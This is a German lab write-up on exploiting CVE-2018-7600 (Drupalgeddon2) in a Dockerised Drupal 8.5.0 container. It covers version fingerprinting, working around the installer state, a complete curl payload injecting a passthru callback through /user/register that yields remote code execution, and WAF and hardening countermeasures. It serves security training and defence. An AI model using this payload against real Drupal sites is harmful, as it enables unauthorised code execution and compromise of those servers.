
Schritt-für-Schritt-Laboranleitung zur Ausnutzung von CVE-2018-7600 (Drupalgeddon2) RCE in Drupal 8.5.0, einschließlich Angriffsflächenanalyse, Versions-Fingerprinting und Ausnutzung über Form-API-Injection.
Beginnen Sie mit der Auflistung der laufenden Container:
docker ps
Aus den docker ps-Ergebnissen ergibt sich der Container für dieses Labor:

p1/lab09:latest
Dieser Container exponiert den Port:
0.0.0.0:8011->80/tcp
Dies zeigt an, dass der Dienst im Container auf Port 80/tcp lauscht und auf Port 8011 des Hosts abgebildet wird.
Port 80/tcp ist der Standardport für HTTP. Daher handelt es sich bei diesem Ziellabor höchstwahrscheinlich um eine HTTP-Webanwendung. Um den Webdienst zu bestätigen, sende ich eine HTTP-Anfrage mit curl und greife zusätzlich auf die GUI der Webseite zu.
curl -i http://192.168.3.137:8011/


Bewertung der Angriffsfläche
Aus der HTTP-Antwort und der Weboberfläche wurden die folgenden Informationen ermittelt:
Web server: Apache/2.4.25 (Debian) Backend: PHP/7.2.3 CMS: Drupal Drupal version: 8.5.0 Install path: /core/install.php Public port: 8011 -> 80/tcp
Diese Informationen dienen als entscheidende Fingerprints, um sie mit CVEs abzugleichen. Insbesondere Drupal 8.5.0 ist die Version, die direkt mit CVE-2018-7600, auch bekannt als Drupalgeddon2, in Zusammenhang steht.
Laut der offiziellen Drupal-Sicherheitsmeldung sind die folgenden Versionen von SA-CORE-2018-002 / CVE-2018-7600 betroffen:
>= 8.5.0 < 8.5.1
Das aktuelle Ziel läuft mit:
Drupal 8.5.0
und liegt damit im betroffenen Versionsbereich.
⇒ Überlegung:
In diesem Stadium ist die Drupal-Version 8.5.0 ein starkes Indiz, um das vermutete CVE zu identifizieren. Ich argumentiere wie folgt:
docker ps zeigt, dass das Labor den HTTP-Dienst über Port 8011 exponiert.curl -i liefert eine gültige HTTP-Antwort von Apache/PHP./core/install.php um.Drupal >=8.5.0 <8.5.1 von CVE-2018-7600 betroffen ist.Drupal 8.5.0 und erfüllt damit die Versionskriterien, um CVE-2018-7600 zu testen.Das Ziel ist Drupal 8.5.0, das auf Apache/PHP läuft. Diese Version liegt gemäß der offiziellen Drupal-Sicherheitsmeldung im von CVE-2018-7600 betroffenen Bereich. Der nächste Schritt besteht darin, die tatsächlichen Ausnutzungsbedingungen zu prüfen, um zu verifizieren, ob das Ziel einer RCE ausgesetzt werden kann.

Aus dem vorherigen Fingerprinting-Schritt zeigt das Ziel deutlich Drupal 8.5.0 an. Laut der offiziellen Sicherheitsmeldung von Drupal betrifft die Schwachstelle SA-CORE-2018-002 / CVE-2018-7600 die Drupal-Core-Versionen:
>= 8.5.0 < 8.5.1. Das aktuelle Ziel läuft exakt mit Drupal 8.5.0 und liegt damit im betroffenen Versionsbereich. Laut der Drupal-Sicherheitsmeldung handelt es sich um eine Remote Code Execution-Schwachstelle im Drupal-Core, die es einem Angreifer ermöglichen könnte, mehrere Angriffsvektoren auszunutzen und die Kompromittierung der gesamten Website herbeizuführen.
Allerdings ist zu erkennen, dass das Ziel auf /core/install.php umleitet und die GUI den Drupal-Installationsbildschirm anzeigt. Dies deutet darauf hin, dass sich Drupal möglicherweise in einem unvollständigen Installationszustand befindet. Wenn die Einrichtung der Website nicht abgeschlossen wurde, funktionieren gängige Endpunkte, die zum Auslösen von Drupalgeddon2 verwendet werden, wie /user/register, /user/password und /user/login, möglicherweise nicht ordnungsgemäß. Daher ist es notwendig, diese Endpunkte zu überprüfen.
curl -i http://192.168.3.137:8011/user/register curl -i http://192.168.3.137:8011/user/password curl -i http://192.168.3.137:8011/user/login

Es ist zu erkennen, dass die Endpunkte weiterhin auf /core/install.php umgeleitet werden.
Fazit:
Das Ziel läuft mit Drupal 8.5.0 und fällt damit gemäß der offiziellen Drupal-Sicherheitsmeldung in den von CVE-2018-7600 betroffenen Versionsbereich. Zum Zeitpunkt des Tests befindet sich die Anwendung jedoch in einem Installer-Zustand und leitet Routen wie /user/register, /user/password und /user/login kontinuierlich auf /core/install.php um.
Dies zeigt, dass die Endpunkte, die üblicherweise zur Verifizierung von Drupalgeddon2 verwendet werden, noch nicht so funktionieren, wie sie es auf einer vollständig installierten Drupal-Site tun würden. Daher erfüllt das Ziel derzeit nur die Versionsbedingung, erfüllt jedoch noch nicht die Laufzeitbedingungen, um Remote Code Execution nachzuweisen.
=> Überlegung:
Wir müssen weiterhin nachweisen, dass Drupal in seinem Laufzeitzustand die anfälligen Routen/Formulare verarbeiten kann, dass ein Angreifer die Endpunkte ohne Authentifizierung erreichen kann und dass Verifikations-Payloads wie id erfolgreich ausgeführt werden können.
Beim aktuellen Ziel leiten die Endpunkte auf den Installer um. Der nächste Weg besteht darin, zu bewerten, ob der Drupal-Installationsbildschirm eine eigene Angriffsfläche schafft, anstatt sofort auf eine Drupalgeddon2-RCE zu schließen.
Nachdem ich überprüft hatte, dass die Drupal-Laufzeitendpunkte wie /user/register, /user/password und /user/login alle auf /core/install.php umgeleitet werden, bin ich dazu übergegangen, den Installationsbildschirm zu analysieren.
Überprüfung des Datenbankdienstes, der den Installer unterstützt
Da der Drupal-Installer derzeit beim Datenbankkonfigurationsschritt angehalten ist, habe ich überprüft, ob gängige Datenbankdienste extern exponiert sind:
nmap -sV -p 3306,5432,33060 192.168.3.137

Das Ziel exponiert derzeit den Drupal installer extern, es wurden jedoch keine Datenbankdienste erkannt, die direkt vom Rechner des Angreifers aus erreichbar sind.
Fazit: Das Labor exponiert den Drupal-8.5.0-Installer und weist eine Informationsoffenlegung bezüglich der anfälligen Version. CVE-2018-7600 ist ein valider vermuteter Vektor, aber eine erfolgreiche Ausnutzung wurde noch nicht nachgewiesen.
CVE-2018-7600 nutzt eine Schwachstelle in der Drupal Form API aus - dem Formular-Rendering-System, das die Render-Array-Struktur verwendet. Bei der Verarbeitung einer AJAX-Anfrage verwendet Drupal den Parameter element_parents, um Elemente im Formularbaum zu lokalisieren, ohne Schlüssel zu überprüfen (zu bereinigen), die mit dem Zeichen # beginnen. Angreifer injizieren Eigenschaften wie #post_render, #markup und #type über POST-Daten, um die Rendering-Engine zu zwingen, beliebige PHP-Funktionen (z. B. exec, passthru, system) auszuführen.
Voraussetzung: Mindestens ein Endpunkt, der die Form API verwendet, muss eine gültige Antwort zurückgeben (nicht umgeleitet, nicht durch Zugriffskontrolle blockiert), damit der Angreifer eine AJAX-Anfrage mit dem Payload senden kann.
Häufig verwendete Endpunkte in öffentlichen PoCs:
/user/register (Registrierungsformular - keine Anmeldung erforderlich)/user/password (Passwort-vergessen-Formular - keine Anmeldung erforderlich)/user/login (Anmeldeformular - keine Anmeldung erforderlich)Beim aktuellen Ziel: Alle 3 oben genannten Endpunkte werden per 302 auf /core/install.php umgeleitet ⇒ noch nicht erfüllt
Die Schwachstelle tritt innerhalb der AJAX-Verarbeitungspipeline der Form API auf: FormBuilder → RenderArray → #post_render callback execution. Diese Pipeline arbeitet nur, wenn Drupal alle notwendigen Subsysteme bootstrappt (Routing, Formularstatus, Rendering-Engine).
Im Installer-Zustand läuft Drupal im minimalen Bootstrap-Modus - es wird nur so viel initialisiert, dass das Installationsformular angezeigt werden kann, aber Subsysteme wie routing, AJAX handler, and the full render pipeline sind möglicherweise noch nicht vollständig aktiviert.
Beim aktuellen Ziel: Drupal befindet sich im Installer-Zustand ⇒ erfordert weitere Verifizierung
#-Zeichen in Anfragen blockiertDer offizielle Drupal-Patch fügt die Klasse RequestSanitizer mit der Methode stripDangerousValues() hinzu - sie scannt alle $_GET-, $_POST- und $_COOKIE-Werte und entfernt in den frühen Phasen des Bootstraps alle Schlüssel, die mit # beginnen.
Wenn das Ziel nicht gepatcht ist (läuft mit 8.5.0), existiert die Klasse RequestSanitizer nicht → Eingaben, die # enthalten, werden nicht gefiltert ⇒ erfüllt
Fazit: Das Ziel erfüllt die Versionsbedingung und die Abwesenheit des Patches. Die Bedingungen verfügbarer Endpunkt und vollständiger Bootstrap wurden jedoch noch nicht nachgewiesen, da sich Drupal im Installer-Zustand befindet. Der nächste Schritt besteht darin, zu testen, ob das Installationsformular (/core/install.php) - das ebenfalls die Form API und Render Array verwendet - als Ersatz für Standard-Endpunkte ausgenutzt werden kann.
Nachdem ich festgestellt hatte, dass das Ziel Drupal 8.5.0 im Installer-Zustand ausführt, werden Standard-Endpunkte, die typischerweise zur Ausnutzung von CVE-2018-7600 verwendet werden, wie /user/register, /user/password und /user/login, alle auf /core/install.php umgeleitet. Ich vermutete, dass dies daran liegen könnte, dass ich die Einrichtung der Oberfläche nicht abgeschlossen hatte, aber ich wollte dennoch weiter untersuchen.
Nach der Verifizierung wurde festgestellt, dass das Installationsformular dieselbe anfällige Form API und Render Array engine verwendet. Allerdings benötigt die AJAX-Pipeline den Form-Cache, um zu funktionieren — der standardmäßig die Datenbank als Backend verwendet. Da noch keine Datenbank vorhanden ist, gibt die AJAX-Anfrage an das Installationsformular eine FormAjaxException bei FormBuilder.php:333 zurück, was bestätigt, dass die Pipeline aktiviert ist, aber beim Laden des Caches fehlschlägt.
Überlegung: Ich werde Drupal mit SQLite installieren - einer Datenbank, die keinen dedizierten Server erfordert, sondern nur Dateischreibzugriff auf den Container-Datenträger.
Mit dem nun online verfügbaren Drupal funktioniert der Endpunkt /user/register normal und dient als Injektionspunkt. Der Payload nutzt den Render-Array-Injektionsmechanismus:
element_parents=account/mail/%23value — lokalisiert das Feld mail im Formularbaummail[#post_render][]=passthru — injiziert die Callback-Funktion passthru()mail[#markup]=id — der Inhalt, der passthru() als Argument übergeben wirdcurl -v "http://192.168.3.137:8011/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id"

Antwortanalyse:
Das Ergebnis uid=33(www-data) zeigt an, dass der Payload auf dem Betriebssystem unter den Berechtigungen des www-data-Benutzers ausgeführt wurde. Dies ist der Benutzer, der typischerweise zum Ausführen des Apache/PHP-Webservers auf Debian-basiertem Linux verwendet wird. Da der Befehl id serverseitig ausgeführt wurde und eine Ausgabe zurückgab, ist eine erfolgreiche Remote Code Execution bestätigt. Die aktuelle Berechtigung ist jedoch www-data und nicht root, sodass der anfängliche Kontrollumfang auf die Berechtigungen des Webservers beschränkt ist.
Zugriffskontrolle für Endpunkte
Wenn die Website keine öffentliche Benutzerregistrierung erfordert, deaktivieren Sie den Endpunkt /user/register:
WAF-Regeln — Blockieren charakteristischer Payloads
Fügen Sie WAF-Regeln hinzu, um Anfragen zu blockieren, die Schlüssel wie #post_render, #pre_render oder #markup im POST-Body enthalten:
SecRule REQUEST_BODY "@contains #post_render" "deny,status:403"
SecRule REQUEST_BODY "@contains #pre_render" "deny,status:403"
SecRule ARGS_NAMES "@rx ^#" "deny,status:403"
Prinzip der geringsten Rechte für den Webserver
Der Webserver darf nicht mit root-Berechtigungen laufen. Die Laborergebnisse bestätigen, dass der Prozess als uid=33(www-data) läuft — was die korrekte Konfiguration ist, aber die folgenden Verbesserungen sollten vorgenommen werden:
www-data strikt auf notwendige Verzeichnisse (sites/default/files/)/var/www/html/core/, /var/www/html/modules/)Setzen Sie den Installer nicht dem Internet aus
In diesem Labor ist der Installer öffentlich — ein Angreifer kann dies ausnutzen, um Drupal mit SQLite neu zu installieren und die Ausnutzung durchzuführen. In der realen Produktion ist Folgendes erforderlich:
/core/install.php, nachdem die Installation abgeschlossen ist.htaccess-Regel oder eine Webserver-Konfiguration hinzu, um den externen Zugriff auf /core/install.php zu blockieren<Files "install.php">
Order deny,allow
Deny from all
</Files>